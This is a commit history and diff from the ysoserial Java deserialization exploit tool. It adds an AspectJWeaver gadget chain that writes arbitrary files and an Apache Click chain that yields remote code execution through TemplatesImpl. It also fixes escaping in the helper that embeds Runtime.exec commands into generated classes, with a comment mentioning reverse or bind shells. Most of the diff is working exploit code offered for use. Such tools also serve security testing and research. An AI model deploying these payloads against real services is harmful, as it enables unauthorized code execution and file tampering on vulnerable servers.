Author SHA1 Message Date
Chris Frohoff ee913411e8 minimal test for escaping issues in createTemplatesImpl 2021-08-17 15:51:10 -07:00
XinRoom 76ac2bb259 Resolve escape error (#151)
Resolve escape error:
Caused by: compile error: ) is missing
2021-08-17 15:46:32 -07:00
Michael Stepankin d367e379d9 New gadget chain based on Apache Click (#154)
1. Add ysoserial.payloads.Click1 class
2. Update README.md with latest payloads
3. Remove duplicated "commons-io:commons-io:2.6" entry from pom.xml
2021-02-02 08:41:29 -08:00
testanull 138dc36bd2 Add AspectJWeaver file write gadget (#145)
* Add AspectJWeaver file write gadget
2021-01-11 08:57:01 -08:00
Chris Frohoff 750168c6d3 Merge pull request #149 from Alexandre-Bartel/jdk12_setAccessible
Just call setAccessible with Java > 12
2021-01-05 11:11:54 -08:00
Chris Frohoff 4df2ee2bb5 Merge pull request #150 from frohoff/fix_jk6
fix jdk6 protocol errors
2020-12-23 13:52:55 -08:00
Alexandre Bartel fc577c0bcd Just call setAccessible with Java > 12 2020-12-14 11:23:59 +01:00
8 changed files with 238 additions and 9 deletions
+5
View File
@@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
@@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
@@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
```
+16 -6
View File
@@ -131,11 +131,11 @@
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<artifactId>remoting</artifactId>
<groupId>org.jenkins-ci.main</groupId>
@@ -236,7 +236,7 @@
<artifactId>commons-fileupload</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-util</artifactId>
<version>6.23.0</version>
@@ -326,6 +326,16 @@
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
</dependencies>
<profiles>
@@ -0,0 +1,107 @@
package ysoserial.payloads;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
int sep = command.lastIndexOf(';');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(String[] args) throws Exception {
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
PayloadRunner.run(AspectJWeaver.class, args);
}
}
+81
View File
@@ -0,0 +1,81 @@
package ysoserial.payloads;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/*
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
Chain:
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
...
Arguments:
- command to execute
Yields:
- RCE via TemplatesImpl.getOutputProperties()
Requires:
- Apache Click
- servlet-api of any version
by @artsploit
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({ Authors.ARTSPLOIT })
public class Click1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object templates = Gadgets.createTemplatesImpl(command);
queueArray[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Click1.class, args);
}
}
@@ -23,6 +23,8 @@ public @interface Authors {
String SCRISTALLI = "scristalli";
String HANYRAX = "hanyrax";
String EDOARDOVIGNATI = "EdoardoVignati";
String JANG = "Jang";
String ARTSPLOIT = "artsploit";
String[] value() default {};
@@ -115,7 +115,7 @@ public class Gadgets {
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
@@ -13,8 +13,18 @@ import com.nqzero.permit.Permit;
public class Reflections {
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
@@ -0,0 +1,14 @@
package ysoserial.test.util;
import org.junit.Test;
import ysoserial.payloads.util.Gadgets;
public class GadgetsTest {
@Test
public void test_createTemplatesImpl_noCompilationError() throws Exception {
Gadgets.createTemplatesImpl("hostname");
Gadgets.createTemplatesImpl("echo 'foobar'");
Gadgets.createTemplatesImpl("echo \"foobar\"");
Gadgets.createTemplatesImpl("\"`';\\");
}
}